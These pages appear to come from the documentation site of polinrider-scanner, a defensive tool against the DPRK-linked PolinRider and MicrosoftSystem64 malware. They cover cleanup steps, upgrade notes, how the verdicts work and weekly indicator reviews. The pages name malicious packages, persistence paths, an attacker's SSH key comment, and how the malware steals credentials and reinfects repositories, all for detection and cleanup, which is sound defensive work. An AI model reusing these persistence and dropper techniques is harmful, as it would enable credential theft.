So the order matters more than anything else in this guide. Check and clean every computer that pushes to the affected repositories first, then change every password and token from a computer you trust, then clean GitHub, then scan every future push. What follows takes you through that from the first suspicion to the last check, with polinrider doing the scanning. It draws on cleaning up one account of our own, 57 repositories and 304 branches and tags, and on what researchers have published about the campaign since.

The signs

Most people find it in one of a few ways. A config file such as postcss.config.mjs or eslint.config.mjs has code after its real end, pushed far to the right by a long run of spaces. A file under public/fonts/ with a Font Awesome name turns out to hold JavaScript, and a .vscode/tasks.json you did not write runs it when the folder opens. A .gitignore lists temp_auto_push.bat. Windows Defender reports Trojan:NPM/PolinRider.SF and removes it, and it comes back on the next npm run dev. A process called MicrosoftSystem64 is running, which is related malware from the same DPRK-linked group. Or GitHub shows a branch “updated” hours ago that nobody on the team touched, while git log looks perfectly normal.

What is PolinRider? explains each of these, and why the history looks clean when it is not.

The first hour: what not to do

Stop pushing from the computer you suspect. Do not open the affected project in VS Code again: a hidden task runs as soon as you trust the folder. If VS Code asks whether to trust it, say no. Turn off automatic tasks for every folder, not just this one. Do not git pull into a clone you already have, because a pull into an infected clone can put the payload back on the remote.

Do not start cleaning GitHub yet, and do not change your passwords yet either. Both get undone while the computer is still infected: a process that is still running takes the new credentials on its next run.

There are three things worth doing now, from a different computer you trust. On every repository the account can reach, turn on branch protection that blocks force-pushes and requires signed commits, and pause any automatic deploys. Revoke any OAuth App or GitHub App you do not recognise. And warn the people who push to the same repositories, because their computers may be infected too.

Install polinrider and check it is genuine

polinrider is one program. On macOS or Linux, brew install meSingh/tap/polinrider-scanner; on Windows, add the bucket and scoop install polinrider-scanner. Or download the archive for your system from the latest release and keep the ioc/ folder beside the program. Check it before you run it:

sha256sum -c SHA256SUMS --ignore-missing
gh attestation verify polinrider-v3.0.0-macos-arm64.tar.gz --repo meSingh/polinrider-scanner

Verifying polinrider has the details, including releases built before the rename. On macOS the program is not notarised, so Gatekeeper stops the first run until you clear the quarantine flag on the copy you have verified.

Scan your computer

Run it with no arguments:

polinrider

It asks “What should I check?” and you answer in words. Type computer. It reads your home folder, what starts by itself, shell startup files, git and npm settings, npm’s own program files, Python startup files, running programs and open connections. Nothing changes during the scan. Without the questions, polinrider check ~/code checks the computer and that folder and changes nothing.

You get one of three answers.

VERDICT: COMPROMISED means it found something only the malware leaves. A box under it says either “This machine cannot be trusted until it is rebuilt.”, when something proves the payload ran there, or “The payload is in your project files. See below.”, when everything it found is inside your projects.

VERDICT: no confirmed indicator. comes with [review] lines: a file, a process or a setting that a normal project can also have. Read each one and ask whether you put it there. If one is not yours, treat it as confirmed. A line that says a check could not run means that part was not looked at. False positives you will see lists the harmless matches.

VERDICT: clean against the current indicator set. means today’s known signs are absent. It is not proof that nothing was ever there. If you had a reason to check, change your credentials anyway.

Clean your computer

If it found something, the next screen says what it can deal with: stripping the payload out of config files and moving files into quarantine. It says “Nothing is deleted.” and names the folder where every original is kept. Type yes to do it, details to see every finding first or no to leave everything as it is.

A config file is cut in place, so your own uncommitted work in it survives, and the infected original goes to quarantine. Nothing in git is touched. The quarantine folder has a manifest of where each file came from and instructions for putting any of them back. Keep it until the incident is closed.

Some things it will not change for you, because they are yours: a crontab line, a shell startup file, a PowerShell profile, a Run entry, a scheduled task and a line in ~/.ssh/authorized_keys. For each one it prints the command or the edit to make. It also prints the command to stop a process that is already running, because moving a login item into quarantine does not stop what it started. Read every line of authorized_keys, not only the one it names: the next build may use a key nobody has published.

If npm’s own program files were confirmed, remove Node.js and npm, make sure nothing is still running and reinstall before you run npm again. OpenSourceMalware found infected computers where npm’s lib/cli.js had been replaced with a copy about a megabyte in size, so every npm and npx command started the payload again, even after a reboot.

As for reinstalling the whole system: if the tool says the machine cannot be trusted until it is rebuilt, rebuild it. If everything it found is in project files and you know nothing infected was built or opened in an editor, clean up, delete your clones and keep scanning. If you are not sure, rebuild. Quarantine contains the problem. A clean install is what recovers from it, and it is the safer choice on any machine with production or financial access.

Change every password and token

Do this from a computer you trust, once every computer that pushes to the affected repositories is clean. Assume everything that was reachable from that computer is in someone else’s hands.

Start with what can write to your repositories: personal access tokens, SSH keys and signing keys, deploy keys on every repository, OAuth and GitHub App grants, Actions secrets and self-hosted runner tokens. Then publish rights: npm tokens with a 2FA reset, then Packagist, PyPI, Docker Hub or Chrome Web Store credentials. Then everything else: cloud keys, every value in every .env, database passwords, tokens for connected platforms such as Vercel or Netlify, browser-saved passwords and your password manager vault if it was unlocked on that computer. Clear the cached Git credentials too, which survive a password change. If a wallet or seed phrase was on the computer, move the funds first.

Scan GitHub

Run polinrider again and answer account for your own repositories or organization for one you belong to. It needs gh, signed in, and checks that first.

Before it changes anything, it copies every repository into an evidence folder outside any working tree. Those copies hold live malware, so do not open them in an editor. Then it checks every branch and every tag and reads GitHub’s push record for each repository: who pushed what and when, by GitHub’s clock. The rewriting script can fake a commit’s date and author, but not that record. Type details on the summary to see every branch and file.

Expect familiar names in the push record. The malware pushes as whoever is logged in, so a colleague’s name does not clear anything. It means their computer needs scanning too.

Run this soon. GitHub serves the commit a branch was moved off only until it cleans up unreferenced data, and after that there is nothing to go back to.

Fix each repository

For each infected repository it offers what can actually fix it, and you type one word.

• restore puts each branch back where GitHub’s push record says it was before the attack. Nothing is edited and history is not rewritten. It is offered only where that record shows a clean state, and only after the old commit has been fetched and checked, because the commit before an attack is often the previous attack. Two of ten restore points on our own account were. Pick it whenever it is offered.
• remove adds one commit per branch that takes the payload out. It is easy to undo, and the payload stays in older commits.
• erase takes the payload out of every commit and pushes the history back. Every commit ID changes and every existing clone has to be reset; it shows you how.
• archive marks a repository nobody uses as infected and makes it read-only. Nothing is removed.
• skip leaves it for now.

Where there is no clean state to return to, because the payload was committed normally, choose remove to keep history as it is or erase to have the payload in no commit at all.

Every fix shows a dry run of exactly what would change, and pushes only when you type yes. Each push is refused if someone pushed after the check, and afterwards it asks GitHub what it now shows. Choosing all applies one fix everywhere it can, and goes ahead only when you type the owner’s name.

When you are done, delete every local clone and clone again. Once every restore has worked, polinrider --purge-evidence deletes the copies it made, after asking.

Tell the people affected

Anyone who pushes to these repositories needs to scan their own computer. Without that, a collaborator who is still infected can put the payload back after you have finished. Anyone who forked or cloned a repository while it was infected should check what they have.

If you publish packages, look through your release history for versions you did not make, publish fixed versions and use GitHub’s security advisories to reach people who installed a bad one. A Go module is a special case: the Go module proxy keeps every version it has fetched, so a tagged infected commit stays downloadable whatever you do to the repository.

Keep it out

Copy the CI scanner into each repository, so a reinfection fails the next push instead of waiting to be noticed:

./ci/install-workflow.sh /path/to/your/repo

It vendors the scanner and the indicator set into the repository and runs on every push and pull request, with no third-party action to trust. It commits nothing; review it, then commit. A copy vendored from 2.1.0 or earlier needs re-running with --force. Block PolinRider in CI has the rest.

Keep force-pushes blocked and signed commits required, and leave VS Code’s automatic tasks off. Consider npm config set ignore-scripts true too, with exceptions where a build needs them. Then scan again weekly for a month and monthly after that, because the campaign keeps changing its signatures.

If you cannot run the tool

These are the checks that catch the most, by hand. Do them from a terminal, without opening anything in an editor.

Read the first four bytes of every .woff and .woff2 file: a real one starts with wOF2 or wOFF. Search the whole tree for fa-solid-* and .llf files, since the name keeps changing. Read every .vscode/tasks.json as text and look for a task that runs node on a font file or runs on folder open. Open each JavaScript config file and scroll to the end of every line. Look for temp_auto_push.bat and config.bat anywhere on disk.

Check what starts by itself: Run keys, both Startup folders and scheduled tasks on Windows, including anything named MicrosoftCLROptimization or MicrosoftSystem64; LaunchAgents, LaunchDaemons and the crontab on macOS; systemd user units, autostart entries and the crontab on Linux. Compare npm’s lib/cli.js with a fresh install, read ~/.ssh/authorized_keys line by line and look for node -e or python -c processes you did not start. If macOS keeps asking for Keychain access to your GitHub credentials after you deny it, something is looping in the background.

On GitHub, look at each repository’s activity for force-pushes you did not make, and run git reflog in your clones for amended commits you do not remember.

The cleanup checklist has every step of this guide on one page.

Sources

• OpenSourceMalware, Hundreds of GitHub Repos Compromised By DPRK’s PolinRider Campaign, March 2026
• OpenSourceMalware, A Developer’s Guide to Getting Rid of PolinRider, August 2026, for the replaced cli.js and the Keychain prompts
• OpenSourceMalware, PolinRider is A/B Testing its Way Past Your Detections, September 2026
• OpenSourceMalware, How to Investigate a GitHub Repo’s Real History, October 2026
• SafeDep, Inside MicrosoftSystem64, May 2026
• polinrider-scanner: the README and ADR-0010, on checking restore points before offering them

Where everything is now

Bookmark these, and check any link you are sent against them.

The old addresses still work. GitHub redirects github.com/meSingh/polinrider-cleaner to the new repository, for the web, for git and for the API, and links to the site’s old GitHub Pages address send you here.

Upgrade from 2.x

Pick the way you installed it.

Homebrew (macOS and Linux)

brew upgrade moves an existing polinrider-cleaner install to the new name by itself:

brew update
brew upgrade

Scoop (Windows)

Scoop does not move you across. Remove the old package and install the new one:

scoop uninstall polinrider-cleaner
scoop update
scoop install polinrider-scanner

The old name stays at 2.3.0 and scoop status reports it as deprecated.

Debian and Ubuntu

Download the new .deb, check it and install it. Installing it removes the old polinrider-cleaner package. On ARM, use linux-arm64 in place of linux-x86_64.

gh release download v3.0.0 --repo meSingh/polinrider-scanner --pattern 'polinrider-v3.0.0-linux-x86_64.deb'
gh attestation verify polinrider-v3.0.0-linux-x86_64.deb --repo meSingh/polinrider-scanner
sudo apt install ./polinrider-v3.0.0-linux-x86_64.deb

A downloaded archive

Download the archive for your system from the releases page, check it as shown below and replace your old folder with the new one. Keep the ioc/ folder beside the binary.

winget

A winget package is being prepared as meSingh.PolinRiderScanner. It is not in the winget repository yet.

The CI scanner in your repositories

Nothing to do. The ioc/ folder has the same layout, and the scan you vendored never named the repository.

Check the upgrade

polinrider --version

The version it shows should be 3.0.0.

New to it? Install 3.0

brew install meSingh/tap/polinrider-scanner

scoop bucket add mesingh https://github.com/meSingh/scoop-bucket
scoop install polinrider-scanner

Every other way to install it is in the README.

Check that a download is genuine

Every release from 3.0.0 on is checked against the new name:

gh attestation verify polinrider-v3.0.0-macos-arm64.tar.gz --repo meSingh/polinrider-scanner

Releases up to 2.3.0 were attested while the repository was still called polinrider-cleaner, and their attestations record that name. The new name fails for them, with an error that looks like a fake file but is not one. Use the old name, which GitHub still follows:

gh attestation verify polinrider-v2.3.0-macos-arm64.tar.gz --repo meSingh/polinrider-cleaner

Or use one command that works for a release of any version, and also proves the file was built by this repository’s release workflow:

gh attestation verify polinrider-v2.3.0-macos-arm64.tar.gz \
  --owner meSingh \
  --cert-identity-regex '^https://github\.com/meSingh/polinrider-(cleaner|scanner)/\.github/workflows/release\.yml@refs/tags/v'

We tested every form on the day of the rename. Verifying releases from before 3.0 has the rest, including how to confirm the attestation came from this repository and not a later holder of the old name.

What else is new

The documentation site has been rebuilt. Updates, where this post lives, carries news on the campaign and our own guides and analysis. It also points to articles by other researchers that are worth your time. Every weekly indicator review is still public. A new page, What is PolinRider?, explains the malware from the start for a developer who has never heard of it: how it gets in, what it takes, why your Git history looks clean and the signs to look for. The docs are now kept for each release line, so someone running an older version can still read instructions for the program they actually have.

There is also a cleanup checklist and a longer guide to getting rid of PolinRider, written from what we learned cleaning up our own account and from what researchers have published since OpenSourceMalware’s August guide.

The repository itself now keeps a daily record of release downloads on its public traffic branch. GitHub keeps only a running total per file, so until now there was no way to tell whether anyone came after a release or a post. Our own test downloads are recorded and taken off, so the weekly figure leaves our own out.

What has not changed

3.0.0 adds no new detection. It finds exactly what 2.3.0 found, and a clean result still means that today’s known signs are absent, not that nothing was ever there. The indicators are still checked against published reports every week.

The other limits are the same too. The macOS binaries are not notarised, so Gatekeeper stops the first run until you clear the quarantine flag on a binary you have verified. Restoring a branch on GitHub still depends on GitHub serving the commit from before the attack, which it does only until it clears out unreferenced data, so check early. And it is still one person’s open source project, with no warranty and no support commitment.

If you are here because something is wrong on your machine, start with the cleanup checklist.

Sources

• Release notes for 3.0.0 and the README
• ADR-0057, the rename, with the verification tests
• ADR-0056, docs kept per release line
• ADR-0053, the download history

What it does

It is a Node.js single executable: the runtime and the malicious JavaScript packed into one native file, so it runs on computers without Node.js installed. The Linux build SafeDep analysed is 81 MB, and JFrog found the Windows, Mac and Linux builds all carry the same JavaScript.

Its job is to collect. SafeDep lists credentials from 15 browser families, data from more than 80 cryptocurrency wallet extensions, Telegram Desktop sessions and SSH keys. It also logs keystrokes, watches the clipboard, takes a screenshot every 60 seconds, runs commands it is sent and updates itself. What it takes goes to private datasets on Hugging Face, so the traffic looks like ordinary HTTPS to a well-known site.

How it gets onto a computer

Through npm, at install time. The first packages SafeDep and JFrog described were fake logging libraries. js-logger-pack appeared in April 2026, and after npm took it down on 22 April the same dropper came back as terminal-logger-utils and several packages around it. In js-logger-pack a postinstall script downloads the build for your system and leaves it running in the background, so npm install finishes as normal.

Later packages copied real libraries. The OpenSSF malicious-packages database records void-ulid, a copy of the legitimate ulid package down to its repository link, which installs the agent as a JavaScript file rather than the packed program. A later one, pino-ulid, sets up the same kind of agent under another name.

Island has since followed this cluster to at least 88 public GitHub repositories, many of them presented as AI and agent tools. They contained real, working code and pulled the dropper in through a dependency such as ioredis-xyz, later oscar-redis or oracle-redis. Their histories were copied or generated and forks arrived almost exactly every three minutes. One of them came up unprompted in both ChatGPT and Google’s AI Overview. A project you cloned because an assistant recommended it can bring the trojan in the first time you run npm install.

Where it hides

On Windows the program sits in your local application data folder as MicrosoftSystem64.exe, started by a scheduled task and a small script of the same name, with a registry Run value as a fallback. On macOS it lives under Application Support and starts from a LaunchAgent with com.launchkeeper in its name. On Linux it sits under ~/.local/share and starts from a systemd user service or an autostart entry. On every system it keeps its upload queue in folders called .pcl-data and .pcl-state and leaves a .registered file, as JFrog describes.

One build also leaves a way back in. According to the OpenSSF record for the eo-terminal package, it appends the attacker’s own SSH key, with the comment bink@DESKTOP-N8JGD6T, to ~/.ssh/authorized_keys. Removing the program does not remove that line, and until you do, the computer can still be entered over SSH.

Is it PolinRider?

Not by name, as far as the published reports go. None of the reports on MicrosoftSystem64 mentions PolinRider, and none of the PolinRider reports we have read mentions MicrosoftSystem64. They are related through the group behind them. SafeDep places these packages in a cluster that kmsec.uk and OX Security attribute to Famous Chollima, also tracked as Contagious Interview, a DPRK-linked group. OpenSourceMalware describes PolinRider as a parallel or sub-campaign of Contagious Interview. We check for both because they target the same developers and need the same response.

A different Microsoft-looking name, MicrosoftCLROptimization, has been seen starting malware at logon on Windows. It is not this program; we wrote about it in why PolinRider came back after Defender removed it.

What to do

Assume everything on the computer has been taken. Stop it from starting again first: remove the scheduled task and Run value, the LaunchAgent or the systemd unit and autostart entry, then the program and its folders. Read ~/.ssh/authorized_keys and remove any line you did not add. Then remove the package: delete node_modules and the lockfile, clear the npm cache and take the package out of package.json before you install anything again.

From a clean computer, change everything: browser-saved passwords, SSH keys, API and cloud keys, npm tokens and database passwords. If a wallet was on the computer, its seed phrase is exposed, which means moving the funds to a new wallet. Consider reinstalling the operating system too: removing files contains the problem, and only a clean install recovers from it.

polinrider looks for the program by its names, its install and startup paths and its published file hashes, so a renamed copy is still caught. It reads the process table too, and since 2.3.0 it also catches the JavaScript version running under node and names the attacker’s key in authorized_keys without editing the file. The cleanup checklist covers the rest of the cleanup in order.

Sources

• SafeDep, Inside MicrosoftSystem64: A Supply Chain RAT Exfiltrating to HuggingFace, 28 May 2026
• JFrog Security Research, js-logger-pack Operator Turns Hugging Face into a Malware CDN and Exfiltration Backend, 23 April 2026
• Island, How Attackers Built Software an AI Would Recommend, 13 October 2026
• OpenSSF malicious-packages: MAL-2026-4345 (eo-terminal), MAL-2026-5341 (void-ulid) and MAL-2026-16154 (pino-ulid)
• OpenSourceMalware, PolinRider Blast Radius Grows, 15 July 2026
• Our indicator reviews of 12 October and 2 November

The three answers

VERDICT: COMPROMISED, with [HIT] lines, means it found at least one thing that only the malware leaves. Under the verdict, a box says one of two things. “This machine cannot be trusted until it is rebuilt” means something proves the payload ran on this computer: the implant, a login item, a git hook, an editor extension, a startup file, a running process or a live connection. “The payload is in your project files” means everything it found sits inside your projects. The payload runs when an infected project is built or opened in an editor, so if that happened, or you are not sure, treat the computer as compromised anyway. Below the box, a list called WHAT TO DO NEXT gives a step for each finding with the exact command. Follow it in order, and check the computer before you touch GitHub.

VERDICT: no confirmed indicator., with [review] lines, means nothing is confirmed but a person has to decide about each line. The tool prints three steps in its own words. Read each line and ask whether you put that file, process or setting there. Treat a line that says a check could not run, or was skipped, as a part that was not looked at, and fix whatever stopped it. If any line turns out not to be yours, treat it as confirmed: disconnect from the network and change your credentials from a different machine.

VERDICT: clean against the current indicator set. means none of today’s indicators is on what was checked. It is not proof that nothing was ever there, because the campaign changes its signatures. If you had a reason to check in the first place, change your credentials anyway.

A fourth outcome, exit code 3, means the check could not run, for example because a path does not exist or gh is not signed in. It says nothing either way.

How it decides what to confirm

There is one rule. A match may confirm an infection only if it has no plausible innocent explanation. Anything a legitimate project could also contain stays at review, and when the two are close, it goes to review. A false confirmation costs every user a panic, while keeping a real indicator at review costs one line of output. So take a [HIT] at its word and read a [review].

Matches that are usually harmless

A .vscode/tasks.json that runs on folder open is the most common review line. Teams use folder-open tasks for real work, so the tool asks you to check the command by hand. It is real if the command runs node on a font file, or downloads something and runs it. If the task carries a known indicator, you will see a [HIT] instead.

folderOpen or allowAutomaticTasks in another file, such as .vscode/settings.json, is harmless on its own, because only tasks.json runs commands.

A long build config can match too: a tail after export default or a line longer than 4,000 characters. Some configs legitimately run long, and a flat ESLint config opens with export default [. It is real if there is code you did not write after the end of the config, often after a long run of spaces.

public/fonts/fa-solid-900.woff2 is a genuine Font Awesome file name, so the name alone proves nothing. OpenSourceMalware has seen a fake use it, and the tool settles it by reading the first bytes: a fake font is a [HIT] whatever it is called.

spellright.dict belongs to a real VS Code extension, and branch_structure.json or clr_init.vbs are names a legitimate tool could write. They matter if nobody on the team uses the tool that writes them, or if they sit beside other campaign files.

Two things the tool never reports are a Git LFS pointer standing in for a font and an empty font file. Neither has font bytes, and neither is malware.

Two that are not false alarms

temp_auto_push.bat listed in a committed .gitignore can look harmless, since the repository itself may hold no payload. It means a contributor’s computer is infected; we explain why in Found temp_auto_push.bat?

An antivirus detection named for PolinRider, such as Windows Defender’s Trojan:NPM/PolinRider.SF, means something ran on that computer. The other direction does not hold. A clean result from another scanner is a first pass, which OpenSourceMalware says plainly of its own scanner, built against the campaign’s original signature.

If it got it wrong

Both directions are worth reporting. A harmless file reported as [HIT] or a review line that should never fire goes in a false-positive issue. Something real that was missed goes in a missed-detection issue, with the source you saw it in. If the result is real, the cleanup checklist has every step.

Sources

• polinrider-scanner: src/scan.rs for the verdicts and next steps, src/checks.rs for the tasks.json, config and font checks, ADR-0034, ADR-0048 and ioc/weak.txt
• Our release notes for 2.3.0 and false positives reference
• OpenSourceMalware, PolinRider is A/B Testing its Way Past Your Detections, 26 September 2026
• OpenSourceMalware, A Developer’s Guide to Getting Rid of PolinRider, August 2026

Sources

Upstream state

The dossier has not moved. The new material is Island’s write-up of a cluster this set already carries in part: the ULID-impersonation npm packages (ulid-xyz, pino-ulid and others) that install the MicrosoftSystem64 agent. Island follows them from the npm side to 88 public GitHub repositories (9,881 stars, 65,681 forks in total) themed as AI agents, trading, finance and healthcare tools, each pulling the dropper in through a dependency. The repositories are victims’ or throwaway projects, not indicators; see below. The persistence artifacts Island lists (MicrosoftSystem64.vbs, the com.launchkeeper LaunchAgent, the systemd user service) were already carried.

Added

Considered and not added

• pretty-logger. Island lists it, but it is a live package published in 2014 by one maintainer, with no scripts and 26 downloads a week. Almost certainly named as a dependency name collision or victim, not attacker-owned. Not added to any file.
• ioredis-typed and ioredis-orm. OpenSSF marks both malicious (MAL-2026-5676, MAL-2026-5675) and npm has replaced both with the placeholder. ioredis-orm is a verbatim ioredis copy whose only addition is a dependency on ioredis-typed. Nothing I read ties them to the campaign: no source names PolinRider, MicrosoftSystem64 or a shared C2, and OpenSSF’s own text calls the carrier clean and the transitive unproven. Same naming style and the same weeks as the cluster, so likely, but not added on a likelihood.
• instrumentation-ioredis. An unrelated 2024 malicious record that happens to contain “ioredis”.
• .pkg-agent.lock. Named by Island as a host artifact, with no directory. implant-paths.txt matches whole paths and the file’s location is unknown, so any entry would be a guess.
• bootstrap-commits.sh. A generic name that legitimate repositories can use.
• The 87 listed GitHub repositories and their owners (Cesarjoquin, Stormeye85 and the rest). They are other people’s or throwaway repositories, not artifacts on a machine, the rule since 2026-09-21. The list is the input for a GitHub-side check a person would run, not for ioc/.

Open gaps

Each carried gap was re-checked against main, the 2026-10-26 and 2026-10-26 (Socket) entries, src/ and ioc/.

• The July 2026 ecosystem expansion. Mostly closed on 2026-10-26 from Socket’s public CSV: nine npm names added, the infected legitimate packages recorded by version. Still missing: Chrome extensions and the crates, which nothing in ioc/ can match, and version-aware matching (see techniques).
• The eight reopened names. Closed by the 2026-10-19 review. Re-checked today against the registry: six are still the 0.0.1-security placeholder, and tailwind-container-queries and webdev-conf return no record (fully unpublished). All eight remain in bad-packages.txt.
• weak.txt and the local check. The overview says the check from the release after 2.2.0 reads it (ADR-0047). Not re-tested, since this week adds nothing to weak.txt.
• authorized_keys, the blob-ID tier, the weak path tier, the regex content tier, font weights, the small-file hash location. Unchanged. The six new hashes are the small-file case: payload.js is matched only where the checks already read files.

New techniques — maintainer decisions, not implemented

1. Dependency-chain reading in lockfiles. This cluster hides behind a package that looks like a copy of ioredis, with the dropper two dependencies deep. The binary already reads package names from lockfiles, so a name in the chain is caught once it is listed. A name that has not yet been reported is not, and nothing flags “a copy of a well-known package that adds one unrelated dependency”.
2. GitHub-side matching of dependency names. Island found the repositories by their dependency. The GitHub checks read package.json on each ref, so adding names here already covers them; no new check is needed. Recorded so nobody builds one.

Notes

• Fixtures, outside the repository: a package.json depending on oscar-redis and ioredis-xyz must exit 2; one depending on ioredis, pretty-logger and ioredis-types must exit 0. Results are in the pull request.
• No page, repository or record read for this entry attempted to give the reader instructions. The fetch tool, asked to look for any, found none on Island’s page.
• The GitHub MCP server failed to connect this run, so open pull requests were listed from remote branches: no ioc/* branch is open.

What the logs showed

The developer had done more than most people would. They ran a full offline scan, removed a suspicious Defender exclusion for their project folder, checked the scheduled tasks and the registry Run keys, ran npm audit and confirmed VS Code’s automatic tasks were off.

They attached logs from the Farbar Recovery Scan Tool. Defender’s section lists seven detections, and none of them is a file. Each one is a command line: Node.js started with a long block of JavaScript passed to it directly. Defender was catching the payload as it ran, not a file it could remove.

The same log lists a Run value named MicrosoftCLROptimization, which starts a script called clr_init.vbs with Windows Script Host, plus a file of the same name in the user’s Startup folder. So the Run keys the developer had checked did hold an entry. Its name is borrowed from a real Microsoft .NET component, which makes it easy to read past. Windows runs both each time the user logs on. The helper quoted the two entries back and called them the source of the repeated infection. At the time of writing the thread has no reply after that, so we do not know whether removing them fixed it.

The name is not new. In September Deception.Pro described a PolinRider operator working by hand on a decoy workstation, between 27 August and 3 September. The operator planted a scheduled task, a Run key and a Startup script, all called MicrosoftCLROptimization, under the SYSTEM profile so they survive a user logging off.

Four places it comes back from

The first is the project itself. The payload is appended to a config file such as postcss.config.js or eslint.config.mjs, so it runs whenever that file loads: the next dev server, the next build, the next CI run. As OpenSourceMalware puts it in its cleanup guide, killing the process buys you a clean moment, not a clean project. That fits the forum case exactly. Until the config file is cleaned, no detection can last.

The second is something on the computer that starts it. Logon entries like the ones above are one kind. Another, from the same guide, is npm itself: on several infected computers npm’s own lib/cli.js had been replaced with a copy of about a megabyte, so every npm or npx command starts the malware again, even after a reboot. The fix there is to remove Node.js, make sure nothing is still running and reinstall. A detached process left over from the first infection will also keep pushing, with whatever credentials are valid on the computer, including ones you have just changed.

The third is GitHub. Each time the payload runs, it looks for other JavaScript projects on the computer, injects itself into them and pushes them with the stored Git credentials, including repositories you have not opened in months. A common way back in is to clean the computer and then clone the infected branches straight back onto it.

The fourth is other people. OpenSourceMalware traced one small agency’s organization through three cleanups in 2026. Each time, a force-push from a different contributor’s account put the payload back, the fastest about five hours later, under a commit message the team already trusted. A collaborator who is still infected can reinfect you after you have finished.

What antivirus can and cannot tell you

In most variants the payload is decrypted from a blockchain transaction into memory and never written to disk as a program, so scanning again and again does not find much. Defender does flag some variants by name: OpenSourceMalware lists Trojan:JS/PolinRider.DB!MTB, and the forum case shows Trojan:NPM/PolinRider.SF. A detection tells you something ran. A clean scan does not tell you that you are clear. The campaign also changes its signatures, so not finding last month’s marker does not mean you are clean.

What stops it

Do it in order. Turn off VS Code’s automatic tasks for every folder and tell your collaborators first. Then check every computer that pushes to the affected repositories, including Run keys, Startup folders and scheduled tasks on Windows, and launch agents and the crontab on macOS. Change your credentials only once those computers are clean, because a process that is still running simply takes the new ones. Then clean the repositories on GitHub, using its record of who pushed what rather than commit dates, which the malware forges.

polinrider reads the Windows Run and RunOnce values, both Startup folders, the scheduled tasks and npm’s own program files, and it knows the MicrosoftCLROptimization script by its file name. Look through your Run values and scheduled tasks for that name yourself as well. Our cleanup checklist has every step on one page.

Sources

• BleepingComputer forums, PolinRider/NPM infection keeps returning, FRST logs attached, 30 October 2026
• Deception.Pro, Hands-on-Keyboard Activity from the DPRK “PolinRider” Supply Chain Attack, 9 September 2026
• OpenSourceMalware, A Developer’s Guide to Getting Rid of PolinRider, August 2026
• OpenSourceMalware, PolinRider is A/B Testing its Way Past Your Detections, 26 September 2026

A second entry on the same day as the weekly review, for one source: Socket’s PolinRider tracker. Every weekly review since 2026-09-07 was refused by socket.dev with 403, which left the July 2026 ecosystem expansion as the largest open gap. This read was made from the maintainer’s own browser, which passed the site’s bot check, and the tracker’s public CSV was read in full.

What the tracker holds

How each package was classified

Every npm name was read on registry.npmjs.org the same day, for its version count, its first publication, whether npm has replaced it with the 0.0.1-security placeholder, and its weekly downloads.

• Attacker-owned: npm’s placeholder, or fully unpublished, with no history before the malicious versions. Carried by name.
• Infected legitimate packages: years of clean releases and real users. Not carried by name, which would alarm every user of them; the malicious versions are listed in a comment, as for html-to-gutenberg.
• Victims’ repositories: the Go modules and the Composer packages are other people’s GitHub repositories, published as modules from infected branches (dev-master, dev-fix/remove-malware, Dependabot branches). Not indicators of anything in someone else’s project, the rule since 2026-09-21.

Added

ioc/bad-packages.txt — 9

Already carried, and confirmed by the tracker: the other 21 tailwind and @vite-* names, pybitjs and pyservercheck. Already in comments: html-to-gutenberg, fetch-page-assets, @common-stack/generate-plugin, @lambda-platform/lambda-vue.

Considered and not added

Eighteen infected legitimate npm packages, listed with their malicious versions in a comment in bad-packages.txt: qrcode-vue3 (16k downloads a week), @joyfill/components, the itsa-react-* family and itsa-utils (published since 2016), @testrelic/*, @react-native-aria/separator, revine, spoint, two templates and two chatbot widgets. The tool compares package names, not versions, so these are a lockfile check for a person.

Two crates, greentic-setup and greentic-setup-dev, dev builds of a real project. Recorded in the same comment.

Two Chrome extensions, the “one Chrome extension” earlier reviews could not name, now two: ExpertAI Dev (nafkmlanpinblehjeebdjaolelielbgc), malicious 1.0.1 and 1.0.2, and CM Hub (mfdgcmogddhinoaechjhfjmjcahljpie), malicious 1.0.17. Both are legitimate extensions with clean later versions. Nothing in ioc/ can match an installed browser extension: Chrome keeps them under ~/Library on macOS, which the walk does not enter. See techniques.

140 Go modules and 19 Composer packages. Victims’ repositories, as above.

New techniques — maintainer decisions, not implemented

1. A browser-extension check. Read Chrome’s, Edge’s and Brave’s Extensions/<id>/<version>_0/ folders in each profile, as the editor extension check reads VS Code’s, and match an extension ID and version against a list. It would carry the two extensions above.
2. Version-aware package matching. The infected legitimate packages above are a finding only at their malicious versions. src/manifest.rs already reads package names out of lockfiles; reading the version beside each would let these be carried as name@version.

Notes

• The tracker reports activity up 83% week on week. The weekly routine still cannot reach socket.dev; this source needs a person’s browser until it can.
• Fixtures, in the sandbox with the release binary: a package.json depending on viteplugiin and @bcryptln/becryptjs exits 2; one depending on tailwind-scrollbar-hide, bcryptjs and qrcode-vue3 exits 0.
• No page read for this entry attempted to give the reader instructions.

The 2026-10-19 and 2026-10-21 pull requests are both merged, so this review starts from a main that carries the eight reopened package names, utils-terminal and logger-active. No earlier review pull request is open.

Sources

Every source on the list was reached except socket.dev, as on every week since 2026-09-07.

Upstream state

The dossier has not moved in sixteen weeks, and no primary analysis of PolinRider appeared between 2026-10-21 and 2026-10-26 that this review could find.

• Episode 26 (2026-10-21) is a recap of the GhostAction copycat post of 2026-10-16 and the OVH CLI incident, both already covered in the 2026-10-19 and 2026-10-21 entries. It names a PyPI package, webrunc, see below.
• brotlipocalypse and node2shell-affects-python are one Brotli decoder vulnerability (CVE-2026-111497) in two ecosystems. They do not mention PolinRider, DPRK or MicrosoftSystem64, and contain no malware indicator.
• No new html-to-gutenberg or fetch-page-assets release since 4.2.26 (2026-10-17) and 1.2.16 (2026-08-30). The publisher account has been quiet for nine days.

Considered and not added

webrunc (PyPI). Named in episode 26 as a fetch-and-execute dropper found by a researcher who first thought it was PolinRider. The speakers say it looked nothing like PolinRider and describe no secondary payload or destination. The only source is a spoken summary, which is enough to know it was published and not enough to lift a name from, and nothing ties it to this campaign. Not added.

Everything in the OpenSSF records that is not already in ioc/. Two names, html-to-gutenberg and fetch-page-assets, are hijacked legitimate packages and are kept as comments with the poisoned versions, as decided on 2026-10-05 and 2026-10-21.

The Brotli CVE material. Vulnerability identifiers, not campaign indicators.

Open gaps

The July 2026 ecosystem expansion. Carried forward for the eighth week. socket.dev is still 403 and no reachable secondary source carries the list of 108 packages. The ChainVeil and ViteVenom clusters were drained on 2026-09-14.

The eight reopened names. Re-checked and added by the 2026-10-19 review, and the pull request has merged, so the gap is closed on main. All eight are still present in ioc/bad-packages.txt.

weak.txt has no effect on the local check. Unchanged from 2026-10-12. Not re-tested this week, since ioc/ did not change.

Closed since they were first carried, checked against main for this entry:

• npm CLI persistence: closed in 2.1.0. npm’s own program files and the two ~/.npmrc settings that run code are checked (ADR-0042).
